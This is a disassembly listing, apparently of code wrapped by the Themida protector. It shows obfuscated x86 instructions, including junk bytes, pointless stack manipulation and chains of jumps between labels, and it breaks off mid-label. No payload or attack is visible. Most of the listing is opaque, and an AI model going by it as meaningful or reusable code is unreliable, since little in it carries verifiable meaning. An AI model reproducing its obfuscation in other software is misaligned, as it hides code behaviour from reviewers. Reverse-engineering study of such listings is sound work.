		push	ebp
		mov	ebp, 46079063h
		xor	esi, ebp
		pop	ebp
		jmp	loc_552890
; ---------------------------------------------------------------------------
		db 33h
		dd 0DE92434h, 5000004h,	1BFF5A7Dh, 7D2DD801h, 531BFF5Ah
		dd 6E68E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B0F9:				; CODE XREF: Themida_:00549D2Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, esi
		jmp	loc_55532F
; ---------------------------------------------------------------------------
		db 68h
		dd 7C4h, 81240489h, 4ECh, 24348900h, 0FE798BBEh, 71BBE975h
		dd 0DA290000h, 57A9EA81h, 95B24D0h, 2F840FC9h, 810000A5h
		dd 4ECh, 4EC8300h, 0E9242489h, 0FFFFF081h, 4C481h, 0D8010000h
		dd 0E92434FFh, 0A0E1h, 78E7E958h, 665C0000h, 2404AB0Fh
		dd 0E6AFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B166:				; CODE XREF: Themida_:00549A18j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54A0FA
; ---------------------------------------------------------------------------
		dd 9B1B29BDh, 0EDCD8125h, 5353E01Ch, 47D0E9h, 81E38900h
		dd 4C3h, 0AC9E900h, 0D8F70000h,	0E902E0C1h, 1B0Fh, 3C6852h
		dd 815A0000h, 1F31BDC2h, 81FA010Fh, 1F31BDEAh, 0B951530Fh
		dd 7D2569C1h, 9B5DE9h, 24048900h, 4B8h,	58C12900h, 711EE9h
		dd 241C8B00h, 3304C483h, 34312434h, 0F1CDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B1DE:				; CODE XREF: Themida_:0054AFA1j
		mov	ebp, 65BA559Ch
		push	323h
		mov	[esp], ebp
		mov	ebp, 13145716h
		add	[esp+8], ebp
		push	dword ptr [esp]
		jmp	loc_5502C2
; ---------------------------------------------------------------------------
		dd 241CF766h, 0E60FE99Ch, 0AE9FFFFh, 0C0FFFFE6h, 0B05007EBh
		dd 3E0C0B4h, 0A20C7524h, 99E90804h, 0B8000027h,	4, 0E958C289h
		dd 8C8Fh, 89241489h, 0B85057E2h, 3385404Ah, 8158C789h
		dd 85404EF7h, 4123E933h, 5F540000h, 0E0E95752h,	8A00001Ah
		dd 0C4832434h, 0B3536604h, 66DE2088h, 83241C8Bh, 7FE902C4h
		dd 8700007Ah, 565C243Ch, 0BB53E689h, 1428798Fh,	8675C381h
		dd 39E9EBD7h, 5D000053h, 0CFE9F301h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B287:				; CODE XREF: Themida_:00550FB1j
		pop	ebp
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54A603
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 1DAEh, 68242C89h,	55E9h, 24048F54h, 44BC68h
		dd 240C8900h, 4B9h, 813E900h, 835F0000h, 2C8904ECh, 0F5B3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B2DA:				; CODE XREF: Themida_:005516FEj
		sub	dword ptr [esp], 6DD42E10h
		pop	ebp
		add	ebp, 6DD42E10h
		pop	ebx
		sub	ebp, 0F53ACB9Fh
		push	ebp
		jmp	loc_554287
; ---------------------------------------------------------------------------


loc_54B2F5:				; CODE XREF: Themida_:00552F6Bj
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54E5B2
; ---------------------------------------------------------------------------
		dd 24048F66h, 56665366h, 3E8E9h, 0E9EAB200h, 469Ah, 4BBh
		dd 3491E900h, 0F3810000h, 59E91264h, 45D76851h,	5CE9558Ah
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B343:				; CODE XREF: Themida_:0054CF27j
		add	ebx, 3032137Fh
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	esi
		mov	esi, 7C697511h
		jmp	loc_54D66A
; ---------------------------------------------------------------------------
		align 4
aSu		db 'Ø[éu',0
		db 2 dup(0), 81h
		dd 0FFF0F4C3h, 5BDA89FFh, 4245401h, 2253E9h, 1C77FF00h
		dd 1058669Dh, 0E99C2404h, 0FFFFE491h, 240C8B66h, 7EE95451h
		dd 59FFFFEDh, 5C1F68h, 169BE900h, 0C4810000h, 4, 5C242C87h
		dd 66E9F766h, 667FF768h, 66241489h, 5EE99C50h, 89FFFFE4h
		dd 5D54242Ch, 20AC68h, 240C8900h, 2143BD55h, 0AFE97E94h
		dd 0F7000063h, 0E99C241Ch, 0FFFFE43Dh, 0F8281904h, 2968192Ch
		dd 89000044h, 0E954242Ch, 8FA9h, 41E9F100h, 0F00006Ah
		dd 9BE9C0B6h, 8900000Bh, 2CE9242Ch
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B403:				; CODE XREF: Themida_:0054EF7Fj
		add	eax, 4
		jmp	loc_54A912
; ---------------------------------------------------------------------------
		db 1, 0DAh, 0E9h
		dd 173h, 8324048Bh, 0D02804C4h,	92B1515Ah, 6601C180h, 0E95BB753h
		dd 0A52Ch, 2BFh, 8BF80100h, 0C481243Ch,	4, 8B240487h, 0F7662424h
		dd 0F46866F1h, 14896626h, 9C506624h, 0FFE3C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B455:				; CODE XREF: Themida_:0054CDACj
		mov	bh, 1
		sub	al, bh
		pop	bx
		sub	al, 15h
		jmp	loc_54AD3B
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 0E05E5DC3h, 50C30154h, 0E05E5DB8h, 58C32954h, 8904EC83h
		dd 0C7B9240Ch, 17A9A33h, 0C28159CBh, 21880003h,	2016EA81h
		dd 0EA814A7Fh, 1D1425EBh, 0C281C201h, 1D1425EBh, 4E62E9h
		dd 0E9535F00h, 9DD1h, 40E9F820h, 89000002h, 40682404h
		dd 586E2B13h, 57BD5548h, 0E90A8D77h, 5038h, 0CDFE9BB5h
		dd 0F580DDF6h, 83F5803Bh, 8C74E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B4D5:				; CODE XREF: Themida_:0054AE06j
		mov	[esp], esi
		push	esp
		jmp	loc_54AF88
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 48B67852h, 0FFFA18E9h, 1BC580FFh, 0E95BF580h, 7FA6h
		dd 33243431h, 248B2434h, 24048924h, 0E7BA525Bh,	81146446h
		dd 4965E6F2h, 0E289523Eh, 4C281h, 0EA810000h, 4, 5C241487h
		dd 7A9AE9h, 8BEB2900h, 0C483242Ch, 241C8704h, 3069E9h
		dd 5DEB0100h, 0E930FF66h, 0FFFFE2D5h, 24048B66h, 835B5453h
		dd 348904ECh, 4BE24h, 52E90000h, 57FFFFF5h, 196EB9BFh
		dd 8950E94Eh, 0F2BD0000h, 0F77D063Bh, 0AF581DDh, 182F9C4h
		dd 4875DE8h, 0F2295C24h, 0E297E95Eh, 3433FFFFh,	0DAE95C24h
		dd 810000A3h, 780939C2h, 161CE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B592:				; CODE XREF: Themida_:0054C123j
		add	edx, 74D95C4Ch
		jmp	loc_5529D5
; ---------------------------------------------------------------------------
aMYSp		db '¬,y,ÁéP',8,0
		dw 5700h
		dd 0FFF522E9h, 80F4B3FFh, 24E9D3EBh, 50000060h,	405E089h
		dd 0E9000000h, 8462h, 561062Dh,	72040D3Ah, 27050E09h, 29F5D2C6h
		dd 0E9B7E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B5DA:				; CODE XREF: Themida_:0054A3BCj
		jz	loc_54A137
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 180D0446h
		mov	ebx, 180D046Eh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 475167AFh
		jmp	loc_54AE6C
; ---------------------------------------------------------------------------


loc_54B613:				; CODE XREF: Themida_:00554E9Fj
		add	eax, ecx
		jmp	loc_5540AD
; ---------------------------------------------------------------------------


loc_54B61A:				; CODE XREF: Themida_:0055532Aj
		mov	eax, esp
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp]
		pop	esp
		mov	[esp], bx
		xchg	cl, [esp]
		jmp	loc_54D172
; ---------------------------------------------------------------------------
		dw 1C89h
aSn		db '$é­',0Dh,0
		align 2


loc_54B63E:				; CODE XREF: Themida_:0054C820j
		mov	edx, 4F8A32F1h
		sub	edi, edx
		pop	edx
		jmp	loc_5500B0
; ---------------------------------------------------------------------------


loc_54B64B:				; CODE XREF: Themida_:0054C231j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_549F2B
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 34FF5C24h, 16FAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B662:				; CODE XREF: Themida_:0054BC3Fj
		mov	ebp, 5AD3367Dh
		jmp	loc_54AF2E
; ---------------------------------------------------------------------------
		dd 67E9FD01h, 52000097h, 0D5E9E289h, 5B000047h,	3098EA80h
		dd 0C9FE5AD1h, 523BC180h, 88CF8853h, 0D3885BFAh, 4694E9h
		dd 8BDF8900h, 8956241Ch, 4C681E6h, 57000000h, 4BFh, 5FFE0100h
		dd 2474FF56h, 2E95E04h,	89000071h, 5255241Ch, 0DD7D2A68h
		dd 5EE95A33h, 0C1000032h, 0EA8102EAh, 0E8110C2Eh, 148BD531h
		dd 4C48124h, 81000000h,	3B13FEEBh, 2B0CE955h, 4290000h
		dd 26E99C24h, 66FFFFE1h, 68241C8Bh, 3A6Eh, 89240C89h, 0B2E956E1h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B703:				; CODE XREF: Themida_:0054D356j
		push	ebx
		jmp	loc_54BD25
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
aSA		db '$éÉ',0
		align 2


loc_54B712:				; CODE XREF: Themida_:0054E672j
		mov	[esp], eax
		mov	eax, 23446D13h
		dec	eax
		shl	eax, 6
		shr	eax, 3
		sub	eax, 1
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54BC1C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8F8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54B739:				; CODE XREF: Themida_:00553469j
		add	esp, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_54B749:				; CODE XREF: Themida_:005542A0j
		mov	eax, esp
		push	ecx
		push	edx
		push	ebx
		mov	ebx, 3588367Bh
		jmp	loc_555393
; ---------------------------------------------------------------------------


loc_54B758:				; CODE XREF: Themida_:0054CB6Bj
		mov	eax, [esp]
		add	esp, 4
		add	ebp, edx
		jmp	loc_54F648
; ---------------------------------------------------------------------------
		dd 0C2815A54h, 4, 94DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_54B775:				; CODE XREF: Themida_:00553CE1j
		pop	edx
		sub	ecx, 319051C2h
		xor	ebp, ecx
		pop	ecx
		jmp	loc_549EF9
; ---------------------------------------------------------------------------
		dd 52C18851h, 3388CE88h, 6304E95Ah, 3C870000h, 5AD4E924h
		dd 4000000h, 72E99C24h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B7A3:				; CODE XREF: Themida_:005544BBj
		mov	ecx, 1B36C42h
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54A70B
; ---------------------------------------------------------------------------
		dd 50241489h, 0E053E99Ch, 0CF29FFFFh, 5FFE0159h, 10B95157h
		dd 0F74F2A00h, 81D9F7D1h, 2A000FE9h, 59CF894Fh,	0E95FFE01h
		dd 8F61h, 0C281CA01h, 5F9D1425h, 3937E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B7F1:				; CODE XREF: Themida_:00554022j
		mov	edx, [esp]
		jmp	loc_54FE74
; ---------------------------------------------------------------------------


loc_54B7F9:				; CODE XREF: Themida_:005529A8j
		add	dword ptr [ebx], 1
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4


loc_54B806:				; CODE XREF: Themida_:00552F89j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54A56C
; ---------------------------------------------------------------------------
aBufwFnbuqUs7g	db 'îäWšfNîq~-Ué7G',0
		align 4


loc_54B83C:				; CODE XREF: Themida_:005535EBj
		add	ebp, esi
		add	ebp, 432C7CEBh
		jmp	loc_54BE13
; ---------------------------------------------------------------------------
		db 5Ah,	53h, 0E9h
		dd 0FFFFFD5Dh
; ---------------------------------------------------------------------------


loc_54B850:				; CODE XREF: Themida_:00552213j
					; Themida_:00553A33j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		jmp	loc_54F7BE
; ---------------------------------------------------------------------------


loc_54B866:				; CODE XREF: Themida_:0054EB65j
		push	5B68h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	ecx, 52877674h
		sub	esp, 4
		mov	[esp], edx
		push	eax
		jmp	loc_549E1E
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 0DC696104h, 24448162h, 0FE454804h, 24448116h, 21185404h
		dd 24148B1Fh, 4C481h, 48B0000h,	7C5EE924h, 0E9550000h
		dd 182Fh
; ---------------------------------------------------------------------------


loc_54B8B8:				; CODE XREF: Themida_:0054C507j
		mov	eax, 60E44487h
		inc	eax
		and	eax, 10DE7576h
		jmp	loc_54E42E
; ---------------------------------------------------------------------------
		dd 592434FFh, 5F8AE9h, 240C8B00h, 4C481h, 0C7FE0000h, 8064C780h
		dd 0D7F6FFEFh, 69E9CFFEh, 6600009Ah, 660144BDh,	665BDD31h
		dd 9FCDE945h, 34FF0000h, 68555924h, 11A3h, 83242489h, 0E9042404h
		dd 7E8Fh, 242C895Ch, 4BF57h, 34E90000h,	55000053h, 606967BDh
		dd 246C816Eh, 6B536404h, 246C013Dh, 24448104h, 6B536404h
		dd 242C8B3Dh, 4C481h, 835A0000h, 1C8904ECh, 69676824h
		dd 815B6E60h, 0D057A9C2h, 0F7C8E924h, 0BF57FFFFh, 1C302609h
		dd 815FFA09h, 4781ABC2h, 5AD701A1h, 72ECE9h, 4C48300h
		dd 0FFDE9CE9h, 534168FFh, 0C890000h, 0E9B6B124h, 8146h
; ---------------------------------------------------------------------------


loc_54B988:				; CODE XREF: Themida_:00551541j
		pop	edi
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_554625
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 0EC8158C5h, 4, 68243C89h, 2, 81243C8Bh, 4C4h
		dd 8BFD0100h, 58E9243Ch
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B9C3:				; CODE XREF: Themida_:0054A0E7j
		sub	edi, 633D7518h
		push	ebp
		mov	ebp, 7382579Bh
		or	edi, ebp
		pop	ebp
		add	edi, 807D2081h
		mov	ecx, edi
		pop	edi
		add	ecx, edi
		push	dword ptr [ecx]
		push	edx
		mov	edx, 3B4E7579h
		jmp	loc_55305C
; ---------------------------------------------------------------------------
		dw 0A268h
		dd 89000038h, 60E9241Ch, 52000070h, 0C2800AB2h,	1EA80BAh
		dd 3E4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54BA05:				; CODE XREF: Themida_:0054BEE6j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_555901
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2404h, 2404FF24h, 0DDF3E99Ch, 5D54FFFFh,	4C581h
		dd 33E90000h, 81000088h, 0D5387AC9h, 0D9F74110h, 78CCE9h
		dd 81D6F700h, 8B52B8C6h, 0DDF68149h, 1F04BE4h, 24348BF3h
		dd 4C481h, 46E90000h, 83000043h, 39E904ECh, 8100005Fh
		dd 0FF2F7BC6h, 9DE95637h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BA6F:				; CODE XREF: Themida_:00553FEDj
		dec	ebx
		jmp	loc_553076
; ---------------------------------------------------------------------------
		db 5Fh,	52h, 0E9h
		dd 801Fh
; ---------------------------------------------------------------------------


loc_54BA7C:				; CODE XREF: Themida_:0054E96Ej
		xor	ecx, 5C2301C5h
		jmp	loc_54C4B3
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0D6F6CE88h,	0F188C6FEh, 6824148Bh
		dd 53E6h, 89243489h, 4C681E6h, 83000000h, 348704C6h, 0C1805C24h
		dd 20E98001h, 0C828BB04h, 8059BB2Ch, 0E9516FEBh, 0FFFFF9FCh
		dd 89241489h, 4C281E2h,	81000000h, 4C2h, 24148700h, 5EDE9h
		dd 244C0100h, 0F354E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BAEA:				; CODE XREF: Themida_:00553383j
		mov	[esp], esi
		push	edi
		mov	edi, 0E5513F0h
		mov	esi, edi
		pop	edi
		mov	edi, 0F1AAEC14h
		sub	edi, 133B599Bh
		add	edi, esi
		add	edi, 133B599Bh
		pop	esi
		jmp	loc_5555DC
; ---------------------------------------------------------------------------


loc_54BB0F:				; CODE XREF: Themida_:00555610j
		mov	ecx, 59DB1D6Eh
		jmp	loc_550F1A
; ---------------------------------------------------------------------------


loc_54BB19:				; CODE XREF: Themida_:00552F61j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		add	dword ptr [esp], 4E8D281Dh
		jmp	loc_54F2E8
; ---------------------------------------------------------------------------
		dw 6850h
		dd 38A6153Dh, 2E8C158h,	108868h, 241C8900h, 0FFF3E0E9h
		dd 243489FFh, 0C681E689h, 4, 4C681h, 34330000h,	24343124h
		dd 8B243433h, 8EE92424h, 81000071h, 4ECh, 24348900h, 8955CE89h
		dd 8952E9F5h, 63B40000h, 68A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BB7D:				; CODE XREF: Themida_:00552A7Cj
		xor	dword ptr [esp], 5472591Ah
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 76152728h
		not	eax
		or	eax, 2ED33F8Ah
		shr	eax, 1
		add	eax, 0FC74592Bh
		xor	edx, eax
		pop	eax
		pop	ecx
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		push	ebx
		add	dword ptr [esp], 7894034Bh
		mov	eax, [esp]
		jmp	loc_54E3F7
; ---------------------------------------------------------------------------


loc_54BBB8:				; CODE XREF: Themida_:005514E6j
		add	esi, edx
		jmp	loc_553B6D
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 71BF5724h, 8921BF49h, 0E51AE9FEh,	74FFFFFFh
		dd 8F5B0424h, 665C2404h, 48F6654h, 2EC8324h, 24148966h
		dd 26866h, 24148B66h, 8F42E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BBF6:				; CODE XREF: Themida_:0054CBA9j
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_55086D
; ---------------------------------------------------------------------------


loc_54BC1C:				; CODE XREF: Themida_:0054B72Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54C7E1
; ---------------------------------------------------------------------------
		dw 0D830h
		dd 53241C8Bh, 0C381E389h, 4, 7D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BC3D:				; CODE XREF: Themida_:0054E0FDj
		dec	esi
		push	ebp
		jmp	loc_54B662
; ---------------------------------------------------------------------------


loc_54BC44:				; CODE XREF: Themida_:0054A532j
		push	edi
		jmp	loc_54FF3F
; ---------------------------------------------------------------------------
		dw 0EA29h
		dd 2414875Dh, 8924248Bh, 0BAE92404h, 55FFFFDBh,	468h, 0EB815D00h
		dd 48B67852h, 1473E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BC6D:				; CODE XREF: Themida_:00551B6Cj
		add	ebp, edx
		pop	edx
		jmp	loc_554508
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0C2Bh
; ---------------------------------------------------------------------------


loc_54BC80:				; CODE XREF: Themida_:0054996Aj
		pop	ecx
		or	eax, eax
		jz	loc_54A65A
		push	dword ptr [edi+1Ch]
		jmp	loc_54D429
; ---------------------------------------------------------------------------


loc_54BC91:				; CODE XREF: Themida_:0054D621j
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	77ED359Fh
		mov	eax, [esp]
		jmp	loc_54D9D9
; ---------------------------------------------------------------------------


loc_54BCAD:				; CODE XREF: Themida_:0054ACB7j
		push	dword ptr [esp]
		jmp	loc_54A177
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 75BE2434h, 53452958h, 3D6AC0BBh, 8BDE0943h
		dd 3DE9241Ch, 8300006Dh, 0FF5004C0h, 8B042474h,	89572404h
		dd 4C781E7h, 83000000h,	3C8704C7h, 45E95C24h, 0D100006Eh
		dd 1F5268E9h, 4890000h,	589FB824h, 89531F00h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 1B35E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BD19:				; CODE XREF: Themida_:00550354j
		pop	dword ptr [edi+24h]
		pop	ebx
		sub	esp, 4
		jmp	loc_54E2C6
; ---------------------------------------------------------------------------


loc_54BD25:				; CODE XREF: Themida_:0054B704j
		mov	ebx, 364561EDh
		or	ebp, ebx
		jmp	loc_5527F8
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1829E9h, 8EEC100h, 9B30BB53h, 7E90077h, 1FFFFF3h, 8B1888C8h
		dd 0C4832404h, 0E9595B04h, 0FFFFDABDh
; ---------------------------------------------------------------------------


loc_54BD58:				; CODE XREF: Themida_:00551FF7j
		mov	edx, 508B49EEh
		push	ecx
		mov	ecx, 77374157h
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_5532BF
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aStc		db '$éT–',0
		align 2


loc_54BD76:				; CODE XREF: Themida_:005533E4j
		pop	esp
		push	5BE8h
		mov	[esp], eax
		jmp	loc_549815
; ---------------------------------------------------------------------------


loc_54BD84:				; CODE XREF: Themida_:005540C2j
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_553607
; ---------------------------------------------------------------------------
		dd 52D80059h, 21E910B2h, 81FFFFEDh, 664368EFh, 381AE93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BDA6:				; CODE XREF: Themida_:0054A2CCj
		push	2155h
		jmp	loc_54E767
; ---------------------------------------------------------------------------
		dd 56240C8Bh, 57555E54h, 75421EBFh, 0D6E7814Ah,	81544B7Ah
		dd 96DEBCFh, 0C3CF812Fh, 532D5774h, 3225B1BBh, 5BDF2904h
		dd 8A40E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BDDD:				; CODE XREF: Themida_:0054E775j
		shr	ecx, 2
		push	edx
		mov	edx, 31282A18h
		xor	edx, 3DFB6E4Bh
		sub	edx, 43C93CF6h
		jmp	loc_553CD3
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0AE04D8h, 81AE2CD8h,	4ECh, 24148900h, 804FB753h, 79E969CFh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BE13:				; CODE XREF: Themida_:0054B844j
		pop	esi
		xor	ebp, [esp]
		jmp	loc_5555B9
; ---------------------------------------------------------------------------
		dd 48E0BE56h, 0F6811A65h, 6A2A2F9Bh, 68FFE946h,	4C010000h
		dd 0E9590424h, 0FFFFD9DDh, 158C289h, 0BD555AD0h, 1E526E48h
		dd 0EF31FD31h, 9D8E9h, 2474FF00h, 242C8B04h, 2A7EE9h, 0E95A6600h
		dd 4A63h, 2404895Ch, 4EC81h, 24890000h,	24048324h, 4055804h
		dd 52000000h, 24202968h, 36B3E96Dh, 815E0000h, 5404246Ch
		dd 0E91F2118h, 6086h, 51535166h, 0C9FE4DB1h, 80BCE980h
		dd 0E1D0FFE9h, 88D9E980h, 38B159CFh, 43BBE9h, 69B95100h
		dd 294AC3E7h, 93E959CDh, 81000084h, 922E1CEDh, 2432E976h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BEC6:				; CODE XREF: Themida_:00549AC1j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	44AEh
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_54BA05
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 575EF701h, 42474FFh, 33C0E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BEFE:				; CODE XREF: Themida_:0054DD13j
		pop	eax
		jmp	loc_551642
; ---------------------------------------------------------------------------
aSlv		db '\éL‚',0
		align 2


loc_54BF0A:				; CODE XREF: Themida_:0054C45Fj
		add	dword ptr [esp+4], 8921B5Bh
		jmp	loc_54E8C1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 31241433h, 14332414h,	8788E924h, 0E8890000h
		dd 59C8015Dh, 8530D805h, 16123530h, 0D82D51F0h,	0E96B0905h
		dd 97FBh, 5EF0295Fh, 90C5E9h, 24048900h, 405E089h, 83000000h
		dd 48704C0h, 24248B24h,	0E468C331h, 0E900005Ch,	35F0h
; ---------------------------------------------------------------------------


loc_54BF70:				; CODE XREF: Themida_:0054DD63j
		inc	bh
		jmp	loc_5542A5
; ---------------------------------------------------------------------------


loc_54BF77:				; CODE XREF: Themida_:00550CC2j
		sub	ecx, 0D4C02E2h
		xor	edi, ecx
		pop	ecx
		push	edx
		jmp	loc_553ADE
; ---------------------------------------------------------------------------


loc_54BF86:				; CODE XREF: Themida_:0054C5A3j
		push	ebp
		push	esi
		push	55BD1050h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_54E81B
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 40B85087h, 3149A258h, 0E9042444h, 0FFFFF1ACh
; ---------------------------------------------------------------------------


loc_54BFA8:				; CODE XREF: Themida_:0054A6B7j
		push	ecx
		mov	ecx, edx
		mov	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shl	eax, cl
		push	ebx
		push	5CF0h
		mov	[esp], edi
		mov	edi, 1F770252h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 514B577Bh
		sub	ecx, 0B961437h
		jmp	loc_5539EE
; ---------------------------------------------------------------------------
		db 83h
		dd 0EA81FFC2h, 48203CF1h, 0E95AD321h, 5065h, 1951EB81h
		dd 0DBF777A0h, 63F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C009:				; CODE XREF: Themida_:00551A44j
		pop	ebx
		push	2F0Ah
		mov	[esp], eax
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		and	eax, ecx
		jmp	loc_54CEBE
; ---------------------------------------------------------------------------
		db 58h
		dd 2BE56h, 0A0E90000h, 89FFFFD8h, 405E0h, 0BB530000h, 4
		dd 875BD801h, 15C2404h,	0A3682404h, 89000019h, 6668240Ch
		dd 596DE30Dh, 0FFFDD5E9h, 0E9DA89FFh, 8EE3h, 6808EAC1h
		dd 0
		dd 2893E9h, 0FC885000h,	7EB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C075:				; CODE XREF: Themida_:0054995Fj
		sub	ebp, 4FDD9A85h
		sub	edx, ebp
		jmp	loc_553087
; ---------------------------------------------------------------------------
		dw 0A704h
		dd 20F9E9h, 241CF600h, 0D783E99Ch, 97B1FFFFh, 5966CB00h
		dd 5BD800h, 424168D8h, 0C890000h, 806FB524h, 0C5801AE5h
		dd 0DAE951EAh, 66000065h, 0E9240C8Bh, 6ABDh, 6804C483h
		dd 26h,	0FFF5EEE9h, 0D747E9FFh,	8F5CFFFFh, 248B2404h, 0CD36624h
		dd 52E99C24h, 51000085h, 4AE92BB5h, 1FFFFDAh, 580888F8h
		dd 0D723E959h, 0B850FFFFh, 0FB74FABEh, 34FFC701h, 0C4835824h
		dd 81C68104h, 15DF240h,	81EE81FEh, 0E95DF240h, 305Ch
; ---------------------------------------------------------------------------


loc_54C114:				; CODE XREF: Themida_:00551C44j
		push	ebp
		mov	ebp, 65AA61F0h
		add	ecx, ebp
		pop	ebp
		xor	ecx, 0FC3DD9A5h
		jmp	loc_54B592
; ---------------------------------------------------------------------------


loc_54C128:				; CODE XREF: Themida_:0054E2CFj
		mov	edi, 3D021B7Ah
		xor	edi, 42587EA0h
		xor	edi, 4FFB4721h
		xor	edi, 55EA7128h
		sub	ebp, edi
		pop	edi
		push	edi
		mov	edi, 69EB0F49h
		shl	edi, 6
		jmp	loc_549EC8
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 4C681h, 34870000h, 0DF2D5C24h, 56384F11h
		dd 0C74AFDBEh, 6EBB5317h, 0F70B6972h, 94BA52DBh, 423C7545h
		dd 1B10E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C181:				; CODE XREF: Themida_:005555EEj
